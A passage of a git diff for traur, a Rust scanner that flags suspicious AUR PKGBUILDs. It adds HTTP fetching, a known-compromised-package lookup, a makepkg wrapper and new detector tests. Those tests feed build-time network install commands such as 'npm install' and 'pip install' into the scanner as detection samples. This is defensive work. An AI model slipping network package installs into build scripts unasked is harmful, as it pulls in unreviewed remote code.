for pat in compiled { - if pat.regex.is_match(content) { + if pat.regex.is_match(&content) { let matched_line = content .lines() .find(|line| pat.regex.is_match(line)) @@ -634,6 +635,56 @@ mod tests { assert!(has(&ids, "P-ALIAS-OVERRIDE")); } + // --- Build-time package-manager installs --- + + #[test] + fn build_net_install_npm() { + let ids = analyze("npm install atomic-lockfile minimist chalk"); + assert!(has(&ids, "P-NET-PKG-INSTALL-JS")); + } + + #[test] + fn build_net_install_bun() { + let ids = analyze("bun install js-digest"); + assert!(has(&ids, "P-NET-PKG-INSTALL-JS")); + } + + #[test] + fn build_net_install_yarn_add() { + let ids = analyze("yarn add left-pad"); + assert!(has(&ids, "P-NET-PKG-INSTALL-JS")); + } + + #[test] + fn build_pip_install() { + let ids = analyze("pip install requests"); + assert!(has(&ids, "P-NET-PKG-INSTALL")); + } + + #[test] + fn build_cargo_install() { + let ids = analyze("cargo install ripgrep"); + assert!(has(&ids, "P-NET-PKG-INSTALL")); + } + + #[test] + fn bare_npm_install_no_signal() { + let ids = analyze("npm install"); + assert!(!has(&ids, "P-NET-PKG-INSTALL-JS"), "bare npm install should not fire, got: {ids:?}"); + } + + #[test] + fn npm_ci_no_signal() { + let ids = analyze("npm ci"); + assert!(!has(&ids, "P-NET-PKG-INSTALL-JS"), "npm ci should not fire, got: {ids:?}"); + } + + #[test] + fn bun_install_bare_no_signal() { + let ids = analyze("bun install"); + assert!(!has(&ids, "P-NET-PKG-INSTALL-JS"), "bare bun install should not fire, got: {ids:?}"); + } + // --- False positive check --- #[test] diff --git a/src/main.rs b/src/main.rs index 1e5dc8d..243d60d 100644 --- a/src/main.rs +++ b/src/main.rs @@ -1,4 +1,3 @@ -mod bench; mod coordinator; mod features; mod shared; @@ -7,7 +6,7 @@ use clap::{Parser, Subcommand}; use std::process; #[derive(Parser)] -#[command(name = "traur", about = "Trust scoring for AUR packages")] +#[command(name = "traur", about = "Findings-based security scanner for AUR PKGBUILDs")] struct Cli { #[command(subcommand)] command: Commands, @@ -40,24 +39,27 @@ enum Commands { #[arg(short = 'v', long)] verbose: bool, - /// Only show flagged packages (SKETCHY and above) + /// Only show packages that have findings #[arg(short = 'f', long)] flagged_only: bool, + + /// With --pkgbuild: print the PKGBUILD/.install with flagged lines highlighted + #[arg(long)] + source: bool, }, - /// Whitelist a package (skip future scans) - Allow { - /// Package name to whitelist - package: String, - }, - /// Benchmark scanning the N most recently modified AUR packages - Bench { - /// Number of packages to scan - #[arg(long, default_value_t = 1000)] - count: usize, - - /// Number of concurrent scan threads - #[arg(long, default_value_t = 8)] - jobs: usize, + /// Enable/disable the makepkg wrapper that scans PKGBUILDs before AUR builds + Wrapper { + /// Symlink the wrapper into /usr/local/bin/makepkg (needs root) + #[arg(long)] + enable: bool, + + /// Remove the wrapper symlink (needs root) + #[arg(long)] + disable: bool, + + /// Show whether the wrapper is enabled (default) + #[arg(long)] + status: bool, }, /// List all available signals Signals { @@ -65,7 +67,7 @@ enum Commands { #[arg(long)] json: bool, }, - /// Ignore a signal or category (exclude from scoring and output) + /// Ignore a signal or category (exclude from output) Ignore { /// Signal ID to ignore (e.g. P-PYTHON-INLINE) signal_id: Option, @@ -97,9 +99,9 @@ fn main() { json, verbose, flagged_only, - } => cmd_scan(package, pkgbuild, all_installed, jobs, json, verbose, flagged_only), - Commands::Allow { package } => cmd_allow(&package), - Commands::Bench { count, jobs } => bench::run(count, jobs), + source, + } => cmd_scan(package, pkgbuild, all_installed, jobs, json, verbose, flagged_only, source), + Commands::Wrapper { enable, disable, status: _ } => cmd_wrapper(enable, disable), Commands::Signals { json } => cmd_signals(json), Commands::Ignore { signal_id, category } => cmd_ignore(signal_id.as_deref(), category.as_deref()), Commands::Unignore { signal_id, category } => cmd_unignore(signal_id.as_deref(), category.as_deref()), @@ -116,27 +118,34 @@ fn cmd_scan( json: bool, verbose: bool, flagged_only: bool, + source: bool, ) -> i32 { if let Some(path) = pkgbuild { - let content = match std::fs::read_to_string(&path) { - Ok(c) => c, - Err(e) => { - eprintln!("Error reading {path}: {e}"); - return 1; - } - }; - let name = std::path::Path::new(&path) + // Canonicalize so a relative "./PKGBUILD" still yields the package-dir + // name (its parent is "." otherwise). + let path_buf = std::fs::canonicalize(&path).unwrap_or_else(|_| std::path::PathBuf::from(&path)); + let name = path_buf .parent() .and_then(|p| p.file_name()) .and_then(|n| n.to_str()) .unwrap_or("local"); - let result = coordinator::scan_pkgbuild(name, &content); - if json { - shared::output::print_json(&result); - } else { - shared::output::print_text(&result, verbose); + match coordinator::scan_local(name, &path_buf) { + Ok(result) => { + if json { + shared::output::print_json(&result); + } else { + shared::output::print_text(&result, verbose); + if source { + print_flagged_source(&path_buf, &result); + } + } + return 0; + } + Err(e) => { + eprintln!("Error: {e}"); + return 1; + } } - return if result.tier >= shared::scoring::Tier::Suspicious { 1 } else { 0 }; } if let Some(pkg) = package { @@ -147,15 +156,22 @@ fn cmd_scan( cmd_scan_all_installed(jobs, json, verbose, flagged_only) } +/// Print the PKGBUILD and .install with traur-flagged lines highlighted. +fn print_flagged_source(pkgbuild_path: &std::path::Path, result: &shared::scoring::ScanResult) { + let flagged = shared::output::flagged_lines(result); + let mut w = std::io::stderr(); + if let Ok(content) = std::fs::read_to_string(pkgbuild_path) { + shared::output::write_source(&mut w, "PKGBUILD", &content, &flagged); + let dir = pkgbuild_path.parent().unwrap_or(std::path::Path::new(".")); + if let Some(install) = shared::aur_git::read_install_script(dir, &content) { + shared::output::write_source(&mut w, ".install", &install, &flagged); + } + } +} + fn cmd_scan_single(pkg: &str, json: bool, verbose: bool) -> i32 { match coordinator::scan_package(pkg, json, verbose) { - Ok(tier) => { - use shared::scoring::Tier; - match tier { - Tier::Trusted | Tier::Ok | Tier::Sketchy => 0, - Tier::Suspicious | Tier::Malicious => 1, - } - } + Ok(()) => 0, Err(e) => { eprintln!("Error scanning {pkg}: {e}"); 1 @@ -164,8 +180,8 @@ fn cmd_scan_single(pkg: &str, json: bool, verbose: bool) -> i32 { } fn cmd_scan_all_installed(jobs: usize, json: bool, verbose: bool, flagged_only: bool) -> i32 { - use crate::shared::bulk::{batch_fetch_metadata, clone_with_retry, prefetch_maintainer_packages}; - use crate::shared::scoring::{ScanResult, Tier}; + use crate::shared::bulk::{batch_fetch_metadata, fetch_with_retry, prefetch_maintainer_packages}; + use crate::shared::scoring::ScanResult; use colored::Colorize; use indicatif::{ProgressBar, ProgressStyle}; use rayon::prelude::*; @@ -217,9 +233,8 @@ fn cmd_scan_all_installed(jobs: usize, json: bool, verbose: bool, flagged_only: .progress_chars("##-"), ); - let tier_counts: [AtomicU64; 5] = std::array::from_fn(|_| AtomicU64::new(0)); let error_count = AtomicU64::new(0); - let flagged = std::sync::Mutex::new(Vec::::new()); + let results = std::sync::Mutex::new(Vec::::new()); pool.install(|| { names.par_iter().for_each(|name| { @@ -231,8 +246,14 @@ fn cmd_scan_all_installed(jobs: usize, json: bool, verbose: bool, flagged_only: .cloned() .unwrap_or_default(); - match clone_with_retry(name, meta, maint_pkgs) { - Ok(ctx) => Ok(coordinator::run_analysis_with_config(&ctx, &config)), + match fetch_with_retry(name, meta, maint_pkgs) { + Ok(ctx) => { + let mut scan = coordinator::run_analysis_with_config(&ctx, &config); + if let Some(sig) = shared::malicious_list::check(name) { + scan.signals.insert(0, sig); + } + Ok(scan) + } Err(e) => Err(e), } } else { @@ -241,17 +262,8 @@ fn cmd_scan_all_installed(jobs: usize, json: bool, verbose: bool, flagged_only: match result { Ok(scan) => { - let idx = match scan.tier { - Tier::Trusted => 0, - Tier::Ok => 1, - Tier::Sketchy => 2, - Tier::Suspicious => 3, - Tier::Malicious => 4, - }; - tier_counts[idx].fetch_add(1, Ordering::Relaxed); - - if !flagged_only || scan.tier >= Tier::Sketchy { - flagged.lock().unwrap().push(scan); + if !flagged_only || !scan.signals.is_empty() { + results.lock().unwrap().push(scan); } } Err(e) => { @@ -266,52 +278,39 @@ fn cmd_scan_all_installed(jobs: usize, json: bool, verbose: bool, flagged_only: pb.finish_and_clear(); - let mut flagged = flagged.into_inner().unwrap(); + let mut results = results.into_inner().unwrap(); let errors = error_count.load(Ordering::Relaxed) as usize; let scanned = total - errors; + // Show packages with the most findings first. + results.sort_by(|a, b| b.signals.len().cmp(&a.signals.len())); + if json { - flagged.sort_by(|a, b| a.score.cmp(&b.score)); - let json_str = serde_json::to_string_pretty(&flagged).expect("Failed to serialize"); + let json_str = serde_json::to_string_pretty(&results).expect("Failed to serialize"); println!("{json_str}"); } else { println!(); println!("{}", "=== traur scan results ===".bold()); println!(" Scanned: {} packages ({} errors)", scanned, errors); - println!( - " TRUSTED: {} OK: {} SKETCHY: {} SUSPICIOUS: {} MALICIOUS: {}", - tier_counts[0].load(Ordering::Relaxed), - tier_counts[1].load(Ordering::Relaxed), - tier_counts[2].load(Ordering::Relaxed), - tier_counts[3].load(Ordering::Relaxed), - tier_counts[4].load(Ordering::Relaxed), - ); - if !flagged.is_empty() { - flagged.sort_by(|a, b| a.score.cmp(&b.score)); + let with_findings = results.iter().filter(|r| !r.signals.is_empty()).count(); + if with_findings > 0 { println!(); println!( "{}", - format!( - "=== {} {} ===", - flagged.len(), - if flagged_only { "flagged packages (SKETCHY+)" } else { "packages" } - ) - .bold() + format!("=== {with_findings} packages with findings ===").bold() ); - for result in &flagged { + for result in results.iter().filter(|r| !r.signals.is_empty()) { println!(); shared::output::print_text(result, verbose); } } else { println!(); - println!("{}", "All packages look clean.".green()); + println!("{}", "No findings in any installed AUR package.".green()); } } - let has_critical = tier_counts[3].load(Ordering::Relaxed) > 0 - || tier_counts[4].load(Ordering::Relaxed) > 0; - if has_critical { 1 } else { 0 } + 0 } /// Get list of installed AUR (foreign) package names via `pacman -Qm`. @@ -344,17 +343,95 @@ fn get_installed_aur_packages() -> Result, String> { Ok(names) } -fn cmd_allow(package: &str) -> i32 { - match shared::config::add_to_whitelist(package) { - Ok(()) => { - eprintln!("Whitelisted: {package}"); - eprintln!(" Saved to {}", shared::config::config_path().display()); - 0 +/// Path of the installed wrapper script and the PATH symlink that activates it. +const WRAPPER_SRC: &str = "/usr/share/traur/makepkg"; +const WRAPPER_LINK: &str = "/usr/local/bin/makepkg"; + +fn cmd_wrapper(enable: bool, disable: bool) -> i32 { + use std::io::ErrorKind; + use std::path::Path; + + let src = Path::new(WRAPPER_SRC); + let link = Path::new(WRAPPER_LINK); + + let perm_hint = |action: &str| { + eprintln!("Permission denied. Re-run with sudo:"); + eprintln!(" sudo traur wrapper {action}"); + }; + + if enable { + if !src.exists() { + eprintln!("Wrapper script not found at {WRAPPER_SRC} (is traur installed?)"); + return 1; } - Err(e) => { - eprintln!("Error: {e}"); - 1 + if let Ok(meta) = std::fs::symlink_metadata(link) { + if meta.file_type().is_symlink() && std::fs::read_link(link).ok().as_deref() == Some(src) { + eprintln!("Already enabled: {WRAPPER_LINK} -> {WRAPPER_SRC}"); + return 0; + } + eprintln!("{WRAPPER_LINK} already exists and is not the traur wrapper."); + eprintln!("Refusing to overwrite it. Remove it yourself if you want to enable."); + return 1; + } + if let Some(parent) = link.parent() { + let _ = std::fs::create_dir_all(parent); + } + match std::os::unix::fs::symlink(src, link) { + Ok(()) => { + eprintln!("Enabled: {WRAPPER_LINK} -> {WRAPPER_SRC}"); + eprintln!("AUR builds (via yay/paru) will now be scanned by traur first."); + 0 + } + Err(e) if e.kind() == ErrorKind::PermissionDenied => { + perm_hint("--enable"); + 1 + } + Err(e) => { + eprintln!("Failed to create symlink: {e}"); + 1 + } + } + } else if disable { + match std::fs::symlink_metadata(link) { + Ok(meta) + if meta.file_type().is_symlink() + && std::fs::read_link(link).ok().as_deref() == Some(src) => + { + match std::fs::remove_file(link) { + Ok(()) => { + eprintln!("Disabled: removed {WRAPPER_LINK}"); + 0 + } + Err(e) if e.kind() == ErrorKind::PermissionDenied => { + perm_hint("--disable"); + 1 + } + Err(e) => { + eprintln!("Failed to remove symlink: {e}"); + 1 + } + } + } + _ => { + eprintln!("Not enabled (no traur wrapper symlink at {WRAPPER_LINK})."); + 0 + } + } + } else { + // status (default) + match std::fs::symlink_metadata(link) { + Ok(meta) if meta.file_type().is_symlink() => { + let target = std::fs::read_link(link).unwrap_or_default(); + if target == src { + println!("enabled ({WRAPPER_LINK} -> {WRAPPER_SRC})"); + } else { + println!("disabled (foreign symlink at {WRAPPER_LINK} -> {})", target.display()); + } + } + Ok(_) => println!("disabled (a non-traur makepkg exists at {WRAPPER_LINK})"), + Err(_) => println!("disabled"), } + 0 } } @@ -395,10 +472,10 @@ fn cmd_signals(json: bool) -> i32 { } let categories = [ - (SignalCategory::Metadata, "Metadata (weight 0.15)"), - (SignalCategory::Pkgbuild, "Pkgbuild (weight 0.45)"), - (SignalCategory::Behavioral, "Behavioral (weight 0.25)"), - (SignalCategory::Temporal, "Temporal (weight 0.15)"), + (SignalCategory::Metadata, "Metadata"), + (SignalCategory::Pkgbuild, "Pkgbuild"), + (SignalCategory::Behavioral, "Behavioral"), + (SignalCategory::Temporal, "Temporal"), ]; let mut total = 0; diff --git a/src/shared/aur_comments.rs b/src/shared/aur_comments.rs index 5a22111..596b69b 100644 --- a/src/shared/aur_comments.rs +++ b/src/shared/aur_comments.rs @@ -2,7 +2,10 @@ use regex::Regex; use std::sync::LazyLock; static COMMENT_RE: LazyLock = LazyLock::new(|| { - Regex::new(r#"
]*>([\s\S]*?)
"#).unwrap() + // Match the content div regardless of attribute order: the AUR markup emits + // `
` (id before class), + // which a `
]*\bclass="article-content"[^>]*>([\s\S]*?)
"#).unwrap() }); static HTML_TAG_RE: LazyLock = LazyLock::new(|| { @@ -75,6 +78,15 @@ mod tests { assert!(comments[1].contains("Found a bug")); } + #[test] + fn extracts_comments_with_id_before_class() { + // Real AUR markup puts id before class (issue #15). + let html = r#"
malware warning
"#; + let comments = extract_comments(html); + assert_eq!(comments.len(), 1); + assert!(comments[0].contains("malware warning")); + } + #[test] fn handles_empty_html() { assert!(extract_comments("").is_empty()); diff --git a/src/shared/aur_fetch.rs b/src/shared/aur_fetch.rs new file mode 100644 index 0000000..cd12a1f --- /dev/null +++ b/src/shared/aur_fetch.rs @@ -0,0 +1,45 @@ +//! Fetch a package's PKGBUILD and .install scripts directly over HTTP from +//! AUR's cgit web interface. No git clone, no on-disk cache — the files are +//! pulled into memory, scanned, and discarded. + +const AUR_CGIT_PLAIN: &str = "https://aur.archlinux.org/cgit/aur.git/plain"; + +/// GET a single file from a package's AUR repo at HEAD. +fn fetch_file(package_base: &str, file: &str) -> Result { + let url = format!("{AUR_CGIT_PLAIN}/{file}?h={package_base}"); + let resp = reqwest::blocking::get(&url).map_err(|e| format!("HTTP request failed: {e}"))?; + if !resp.status().is_success() { + return Err(format!("{file} not found ({})", resp.status())); + } + resp.text().map_err(|e| format!("Failed to read {file}: {e}")) +} + +/// Fetch the PKGBUILD for a package base. +pub fn fetch_pkgbuild(package_base: &str) -> Result { + fetch_file(package_base, "PKGBUILD") +} + +/// Fetch the .install script referenced by a PKGBUILD, if any. +/// +/// Honours an explicit `install=` directive, then falls back to the common +/// `.install` / `install` names. Returns None if none exist. +pub fn fetch_install_script(package_base: &str, pkgbuild: &str) -> Option { + for line in pkgbuild.lines() { + let trimmed = line.trim(); + if let Some(install_file) = trimmed.strip_prefix("install=") { + let install_file = install_file.trim_matches(|c| c == '\'' || c == '"'); + if install_file.is_empty() { + continue; + } + return fetch_file(package_base, install_file).ok(); + } + } + + for name in [format!("{package_base}.install"), "install".to_string()] { + if let Ok(content) = fetch_file(package_base, &name) { + return Some(content); + } + } + + None +} diff --git a/src/shared/aur_git.rs b/src/shared/aur_git.rs index 9297807..8d293af 100644 --- a/src/shared/aur_git.rs +++ b/src/shared/aur_git.rs @@ -1,82 +1,12 @@ -use crate::shared::models::GitCommit; -use std::path::PathBuf; -use std::process::{Command, Output, Stdio}; -use std::time::{Duration, Instant}; - -const AUR_GIT_BASE: &str = "https://aur.archlinux.org"; -const GIT_TIMEOUT: Duration = Duration::from_secs(30); - -/// Clone or update the AUR git repo for a package. Returns the local path. -pub fn ensure_repo(package_base: &str, cache_dir: &str) -> Result { - if package_base.is_empty() - || !package_base - .chars() - .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '+' | '@')) - || package_base.contains("..") - { - return Err(format!("invalid package name: {package_base}")); - } - - let repo_path = PathBuf::from(cache_dir).join(package_base); - - if repo_path.join(".git").exists() { - // Pull latest — if it fails, use the cached version rather than erroring out - let _ = run_with_timeout( - Command::new("git") - .args(["pull", "--ff-only"]) - .current_dir(&repo_path), - ); - } else { - // Shallow clone - let url = format!("{AUR_GIT_BASE}/{package_base}.git"); - let output = run_with_timeout( - Command::new("git") - .args(["clone", "--depth=50", &url, repo_path.to_str().unwrap()]), - )?; - - if !output.status.success() { - let stderr = String::from_utf8_lossy(&output.stderr); - return Err(format!("git clone failed: {stderr}")); - } - } +//! Read helpers for a *local* AUR package repo (the working directory an AUR +//! helper has already cloned into its build cache). traur no longer clones or +//! caches anything itself — see `aur_fetch` for the standalone HTTP path. - Ok(repo_path) -} - -/// Run a command with a timeout. Kills the process if it exceeds GIT_TIMEOUT. -fn run_with_timeout(cmd: &mut Command) -> Result { - let mut child = cmd - .stdout(Stdio::piped()) - .stderr(Stdio::piped()) - .spawn() - .map_err(|e| format!("failed to spawn git: {e}"))?; - - let start = Instant::now(); - - loop { - match child.try_wait() { - Ok(Some(_)) => { - return child - .wait_with_output() - .map_err(|e| format!("git failed: {e}")); - } - Ok(None) => { - if start.elapsed() > GIT_TIMEOUT { - let _ = child.kill(); - let _ = child.wait(); - return Err(format!( - "git operation timed out after {}s", - GIT_TIMEOUT.as_secs() - )); - } - std::thread::sleep(Duration::from_millis(200)); - } - Err(e) => return Err(format!("failed to wait for git: {e}")), - } - } -} +use crate::shared::models::GitCommit; +use std::process::Command; -/// Read PKGBUILD content from a cloned repo. +/// Read PKGBUILD content from a local repo directory. +#[allow(dead_code)] pub fn read_pkgbuild(repo_path: &std::path::Path) -> Result { std::fs::read_to_string(repo_path.join("PKGBUILD")) .map_err(|e| format!("Failed to read PKGBUILD: {e}")) @@ -186,37 +116,3 @@ pub fn get_latest_diff(repo_path: &std::path::Path) -> Option { } } -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn rejects_path_traversal() { - assert!(ensure_repo("../../etc/shadow", "/tmp").is_err()); - } - - #[test] - fn rejects_slash() { - assert!(ensure_repo("foo/bar", "/tmp").is_err()); - } - - #[test] - fn rejects_empty() { - assert!(ensure_repo("", "/tmp").is_err()); - } - - #[test] - fn accepts_valid_package_name() { - // Should pass validation — may succeed or fail on clone, but not on validation - if let Err(e) = ensure_repo("yay", "/tmp/traur-test-nonexistent") { - assert!(!e.contains("invalid package name"), "valid name rejected: {e}"); - } - } - - #[test] - fn accepts_complex_valid_name() { - if let Err(e) = ensure_repo("lib32-mesa+utils", "/tmp/traur-test-nonexistent") { - assert!(!e.contains("invalid package name"), "valid name rejected: {e}"); - } - } -} diff --git a/src/shared/bulk.rs b/src/shared/bulk.rs index 7f5efec..1cfaa7f 100644 --- a/src/shared/bulk.rs +++ b/src/shared/bulk.rs @@ -56,8 +56,9 @@ pub fn prefetch_maintainer_packages( .collect() } -/// Clone repo with retry + exponential backoff. Returns PackageContext or error. -pub fn clone_with_retry( +/// Fetch a package's context (PKGBUILD over HTTP + metadata) with retry + +/// exponential backoff. Returns PackageContext or error. +pub fn fetch_with_retry( name: &str, metadata: AurPackage, maintainer_packages: Vec, @@ -66,7 +67,7 @@ pub fn clone_with_retry( match coordinator::build_context_prefetched(name, metadata.clone(), maintainer_packages.clone()) { Ok(ctx) => return Ok(ctx), - Err(e) if attempt + 1 < MAX_RETRIES => { + Err(_e) if attempt + 1 < MAX_RETRIES => { let delay = RETRY_BASE_DELAY * 2u32.pow(attempt); std::thread::sleep(delay); continue; diff --git a/src/shared/cache.rs b/src/shared/cache.rs deleted file mode 100644 index 5ec8547..0000000 --- a/src/shared/cache.rs +++ /dev/null @@ -1,25 +0,0 @@ -use std::path::PathBuf; - -/// Returns the cache directory, creating it if needed. -pub fn cache_dir() -> PathBuf { - let dir = dirs_or_default(); - std::fs::create_dir_all(&dir).ok(); - dir -} - -/// Returns the git clone cache subdirectory. -pub fn git_cache_dir() -> PathBuf { - let dir = cache_dir().join("git"); - std::fs::create_dir_all(&dir).ok(); - dir -} - -fn dirs_or_default() -> PathBuf { - if let Ok(xdg) = std::env::var("XDG_CACHE_HOME") { - PathBuf::from(xdg).join("traur") - } else if let Ok(home) = std::env::var("HOME") { - PathBuf::from(home).join(".cache").join("traur") - } else { - PathBuf::from("/tmp/traur-cache") - } -} diff --git a/src/shared/config.rs b/src/shared/config.rs index 5723450..01fc5eb 100644 --- a/src/shared/config.rs +++ b/src/shared/config.rs @@ -2,45 +2,10 @@ use serde::{Deserialize, Serialize}; #[derive(Debug, Deserialize, Serialize, Default)] pub struct Config { - #[serde(default)] - pub thresholds: ThresholdConfig, - #[serde(default)] - pub whitelist: WhitelistConfig, #[serde(default)] pub ignored: IgnoredConfig, } -#[derive(Debug, Deserialize, Serialize)] -pub struct ThresholdConfig { - #[serde(default = "default_block_at")] - pub block_at: String, - #[serde(default = "default_warn_at")] - pub warn_at: String, -} - -impl Default for ThresholdConfig { - fn default() -> Self { - Self { - block_at: default_block_at(), - warn_at: default_warn_at(), - } - } -} - -fn default_block_at() -> String { - "critical".to_string() -} - -fn default_warn_at() -> String { - "medium".to_string() -} - -#[derive(Debug, Deserialize, Serialize, Default)] -pub struct WhitelistConfig { - #[serde(default)] - pub packages: Vec, -} - #[derive(Debug, Deserialize, Serialize, Default)] pub struct IgnoredConfig { #[serde(default)] @@ -71,22 +36,6 @@ pub fn save_config(config: &Config) -> Result<(), String> { Ok(()) } -/// Add a package to the whitelist and persist to disk. -pub fn add_to_whitelist(package: &str) -> Result<(), String> { - let mut config = load_config(); - if !config.whitelist.packages.contains(&package.to_string()) { - config.whitelist.packages.push(package.to_string()); - config.whitelist.packages.sort(); - } - save_config(&config) -} - -/// Check if a package is whitelisted in the given config. -#[allow(dead_code)] // Used by traur-hook binary -pub fn is_whitelisted_in(config: &Config, package: &str) -> bool { - config.whitelist.packages.iter().any(|p| p == package) -} - /// Add a signal ID to the ignored list and persist to disk. pub fn add_to_ignored(signal_id: &str) -> Result<(), String> { let mut config = load_config(); diff --git a/src/shared/malicious_list.rs b/src/shared/malicious_list.rs new file mode 100644 index 0000000..1bc8fd7 --- /dev/null +++ b/src/shared/malicious_list.rs @@ -0,0 +1,76 @@ +//! Known-compromised package check (online only). +//! +//! Fetches Arch's published list of compromised AUR packages and reports a +//! finding if the scanned package name appears on it. This runs only on +//! explicit `traur scan ` / all-installed scans — never during a build — +//! and is bounded by a short timeout, cached on disk, and fails open (any +//! network/parse error simply yields no finding). + +use crate::shared::scoring::{Signal, SignalCategory}; +use std::time::Duration; + +/// Best-known source for the compromised-package list. Override with the +/// `TRAUR_MALICIOUS_LIST_URL` environment variable. +const DEFAULT_LIST_URL: &str = "https://md.archlinux.org/SxbqukK6IA/download"; +const CACHE_TTL: Duration = Duration::from_secs(6 * 3600); +const HTTP_TIMEOUT: Duration = Duration::from_secs(5); + +fn cache_path() -> std::path::PathBuf { + // Per-user cache file (no libc dependency; USER is enough to avoid clashes). + let who = std::env::var("USER").unwrap_or_else(|_| "shared".to_string()); + std::env::temp_dir().join(format!("traur-malicious-list-{who}.txt")) +} + +fn list_url() -> String { + std::env::var("TRAUR_MALICIOUS_LIST_URL").unwrap_or_else(|_| DEFAULT_LIST_URL.to_string()) +} + +/// Load the list text, preferring a fresh on-disk cache. Returns None on any +/// failure (fail-open). +fn load_list() -> Option { + let path = cache_path(); + if let Ok(meta) = std::fs::metadata(&path) { + if let Ok(modified) = meta.modified() { + if modified.elapsed().map(|e| e < CACHE_TTL).unwrap_or(false) { + if let Ok(cached) = std::fs::read_to_string(&path) { + return Some(cached); + } + } + } + } + + let client = reqwest::blocking::Client::builder() + .timeout(HTTP_TIMEOUT) + .build() + .ok()?; + let body = client.get(list_url()).send().ok()?.text().ok()?; + let _ = std::fs::write(&path, &body); + Some(body) +} + +/// Return a finding if `package` appears on the known-compromised list. +pub fn check(package: &str) -> Option { + if package.is_empty() { + return None; + } + let list = load_list()?; + + let is_token = |c: char| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.' | '+' | '@'); + let hit = list + .lines() + .flat_map(|line| line.split(|c: char| !is_token(c))) + .any(|tok| tok == package); + + if hit { + Some(Signal { + id: "B-KNOWN-MALICIOUS".to_string(), + category: SignalCategory::Behavioral, + points: 100, + description: "Package appears on Arch's known-compromised package list".to_string(), + is_override_gate: true, + matched_line: None, + }) + } else { + None + } +} diff --git a/src/shared/mod.rs b/src/shared/mod.rs index f65eb05..b0843f9 100644 --- a/src/shared/mod.rs +++ b/src/shared/mod.rs @@ -1,12 +1,14 @@ pub mod aur_comments; +pub mod aur_fetch; pub mod aur_git; pub mod aur_rpc; pub mod bulk; -pub mod cache; pub mod config; pub mod github; +pub mod malicious_list; pub mod models; pub mod output; pub mod patterns; pub mod scoring; pub mod signal_registry; +pub mod text; diff --git a/src/shared/models.rs b/src/shared/models.rs index 614a3a9..27cfe35 100644 --- a/src/shared/models.rs +++ b/src/shared/models.rs @@ -33,17 +33,6 @@ pub struct AurPackage { pub license: Option>, } -/// Lightweight entry from the AUR metadata dump (packages-meta-v1.json.gz). -#[derive(Debug, Deserialize)] -pub struct MetaDumpPackage { - #[serde(rename = "Name")] - pub name: String, - #[serde(rename = "LastModified")] - pub last_modified: u64, - #[serde(rename = "PackageBase")] - pub package_base: String, -} - /// A single git commit from the AUR package repo. #[derive(Debug, Clone)] pub struct GitCommit { diff --git a/src/shared/output.rs b/src/shared/output.rs index 00b3e41..c6b1aa1 100644 --- a/src/shared/output.rs +++ b/src/shared/output.rs @@ -1,63 +1,92 @@ +use std::collections::HashSet; use std::io::Write; -use crate::shared::scoring::{ScanResult, Tier}; -use colored::Colorize; +use crate::shared::scoring::{ScanResult, Signal, SignalCategory}; +use colored::{ColoredString, Colorize}; + +/// Categories in display order. The header is shown once per group, so the +/// ID prefix (P-/B-/T-/M-) isn't repeated on every line. +const CATEGORY_ORDER: [SignalCategory; 4] = [ + SignalCategory::Pkgbuild, + SignalCategory::Behavioral, + SignalCategory::Temporal, + SignalCategory::Metadata, +]; + +/// Color-coded section header for a category. +fn category_header(category: SignalCategory) -> ColoredString { + let name = format!("{category:?}"); + match category { + SignalCategory::Pkgbuild => name.red(), + SignalCategory::Behavioral => name.yellow(), + SignalCategory::Temporal => name.cyan(), + SignalCategory::Metadata => name.blue(), + } +} /// Print scan result as colored terminal text to stderr. pub fn print_text(result: &ScanResult, verbose: bool) { write_text(&mut std::io::stderr(), result, verbose); } -/// Write scan result as colored terminal text to an arbitrary writer. -pub fn write_text(w: &mut dyn Write, result: &ScanResult, verbose: bool) { - let tier_colored = match result.tier { - Tier::Trusted => result.tier.to_string().green(), - Tier::Ok => result.tier.to_string().yellow(), - Tier::Sketchy => result.tier.to_string().truecolor(255, 165, 0), // orange - Tier::Suspicious => result.tier.to_string().red(), - Tier::Malicious => result.tier.to_string().red().bold(), - }; +/// Write scan result as colored terminal text, grouped by category. Each +/// finding shows the offending line when one was captured. +pub fn write_text(w: &mut dyn Write, result: &ScanResult, _verbose: bool) { + let _ = writeln!(w, "{} {}", "traur:".bold(), result.package.bold()); - let _ = writeln!( - w, - "{} {} (trust: {}/100)", - "traur:".bold(), - result.package.bold(), - result.score - ); - let _ = writeln!(w, " Trust: {tier_colored}"); - - if let Some(ref gate) = result.override_gate_fired { - let _ = writeln!(w, " {} Override gate fired: {gate}", "!!".red().bold()); + if result.signals.is_empty() { + let _ = writeln!(w, " {}", "No findings.".green()); + return; } - if result.signals.is_empty() { - let _ = writeln!(w, " No negative signals found."); - } else { - let _ = writeln!(w, " Negative signals:"); - for signal in &result.signals { - let prefix = if signal.is_override_gate { - "!!".red().bold().to_string() - } else if signal.points >= 60 { - "!!".red().to_string() - } else if signal.points >= 30 { - " !".yellow().to_string() - } else { - " ".to_string() - }; + for category in CATEGORY_ORDER { + let group: Vec<&Signal> = result + .signals + .iter() + .filter(|s| s.category == category) + .collect(); + if group.is_empty() { + continue; + } + + let _ = writeln!(w, " {}", category_header(category).bold()); + for signal in group { let _ = writeln!( w, - " {prefix} {}: {}", - signal.id, signal.description + " {} {}", + signal.description, + format!("({})", signal.id).dimmed() ); - if verbose { - if let Some(ref line) = signal.matched_line { - let _ = writeln!(w, " {} {}", ">".dimmed(), line.dimmed()); - } + if let Some(ref line) = signal.matched_line { + let _ = writeln!(w, " {} {}", "↳".dimmed(), line.yellow()); } } } } +/// The set of (trimmed) lines that triggered a finding, for source annotation. +pub fn flagged_lines(result: &ScanResult) -> HashSet { + result + .signals + .iter() + .filter_map(|s| s.matched_line.as_ref().map(|l| l.trim().to_string())) + .collect() +} + +/// Print a source file with line numbers, marking the lines that triggered a +/// finding so you can see exactly what traur matched and in what context. +pub fn write_source(w: &mut dyn Write, label: &str, content: &str, flagged: &HashSet) { + let _ = writeln!(w, "\n {} {}", "──".dimmed(), label.bold()); + for (i, line) in content.lines().enumerate() { + let num = format!("{:>4}", i + 1); + let trimmed = line.trim(); + if !trimmed.is_empty() && flagged.contains(trimmed) { + let _ = writeln!(w, " {} {} {}", num.dimmed(), "▶".red().bold(), line.yellow()); + } else { + let _ = writeln!(w, " {} {}", num.dimmed(), line); + } + } +} + /// Print scan result as JSON. pub fn print_json(result: &ScanResult) { let json = serde_json::to_string_pretty(result).expect("Failed to serialize"); diff --git a/src/shared/scoring.rs b/src/shared/scoring.rs index 